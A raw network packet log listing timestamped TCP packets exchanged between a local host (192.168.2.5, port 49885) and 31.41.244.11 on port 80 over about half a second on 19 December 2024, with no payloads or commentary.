Dec 19, 2024 03:09:35.931896925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.931922913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.931971073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.932784081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.932831049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.932895899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.932938099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.934024096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.934034109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.934077024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.934839010 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.934884071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.934935093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.934978008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.935870886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.935916901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.935929060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.935971975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.936832905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.936877012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.936933041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.936980963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.937819004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.937865973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.937897921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.937943935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.938813925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.942454100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.078439951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.078566074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.078697920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.078892946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.078938961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.078983068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.079036951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.079715014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.079768896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.079819918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.079859972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.080863953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.080905914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.081007957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.081047058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.081773043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.081811905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.081896067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.081934929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.082828999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.082840919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.082870960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.082885027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.083796978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.083807945 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.083851099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.084685087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.084737062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.084965944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.085004091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.085726023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.085783958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.085824966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.086749077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.086857080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.086869001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.086906910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.087697983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.087749958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.087766886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.087805986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.088701963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.088799000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.088852882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.089651108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.089771986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.089821100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.090812922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.090822935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.090854883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.090882063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.091717005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.091825962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.091871977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.092672110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.092711926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.092767000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.092808008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.093643904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.093805075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.093848944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.094727993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.094779015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.094835997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.094891071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.095679998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.095727921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.095807076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.095846891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.096682072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.096731901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.096821070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.096862078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.097673893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.097718954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.097770929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.098656893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.098706961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.098742962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.098788023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.099740982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.099771976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.099785089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.099809885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.100680113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.100720882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.100820065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.100860119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.101654053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.101697922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.101744890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.102657080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.102699041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.102776051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.102817059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.103732109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.103744030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.103810072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.104646921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.104687929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.104756117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.104794979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.105788946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.105936050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.105997086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.106681108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.106726885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.106794119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.106851101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.107609034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.107654095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.107728958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.107768059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.108633041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.108675957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.108812094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.108853102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.109642029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.109687090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.109735966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.109774113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.110675097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.110716105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.110776901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.110816956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.111629009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.111675978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.111753941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.111799002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.112637997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.112684011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.112823963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.112862110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.113605976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.113652945 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.113737106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.113781929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.114638090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.114754915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.114805937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.115642071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.115695000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.115840912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.115897894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.116620064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.116688013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.116724968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.116765022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.117647886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.117696047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.117736101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.117779016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.118653059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.118701935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.119235992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.119662046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.119716883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.119726896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.119767904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.120624065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.120676994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.120764971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.120806932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.121686935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.121793032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.121843100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.122641087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.122690916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.122725964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.122769117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.123588085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.123632908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.123729944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.123770952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.124685049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.124896049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.124939919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.125663996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.125715017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.125739098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.125777960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.126657009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.126738071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.126782894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.127618074 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.127665997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.127747059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.127787113 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.128700018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.128747940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.128818989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.128859043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.129667997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.129714966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.129739046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.129775047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.130640984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.131669998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.270915985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.270931005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.270994902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.271264076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.271303892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.271327019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.271368027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.272123098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.272159100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.272345066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.272380114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.273183107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.273220062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.273303032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.273336887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.276155949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.276179075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.276189089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.276213884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.276235104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.276586056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.276596069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.276628017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.276984930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.277020931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.277132034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.277177095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.277379990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.277412891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.278168917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.278206110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.278374910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.279175997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.279211044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.279268980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.279304981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.280164003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.280215979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.280267954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.280303955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.283144951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.283221960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.283274889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.283286095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.283320904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.283691883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.283701897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.283711910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.283731937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.283756018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.288919926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.288966894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.288969994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.288983107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.289009094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.289024115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.289336920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.289448023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.289458990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.289469004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.289490938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.289520979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.290148973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.290159941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.290169954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.290198088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.290215015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.296808958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.296948910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.296958923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.297007084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.297317028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.297358990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.297405958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.297416925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.297427893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.297445059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.297460079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.298103094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.298149109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.298156023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.298161030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.298171043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.298185110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.298197985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.298213005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.299057007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299068928 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299078941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299089909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299108028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.299129963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.299891949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299904108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299912930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299925089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299935102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.299937010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.299953938 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.299978971 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.300679922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.300689936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.300724983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.301129103 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.301139116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.301175117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.301475048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.301486015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.301512957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.302089930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.302218914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.302253962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:36.303123951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:36.303164005 CET	49885	80	192.168.2.5	31.41.244.11
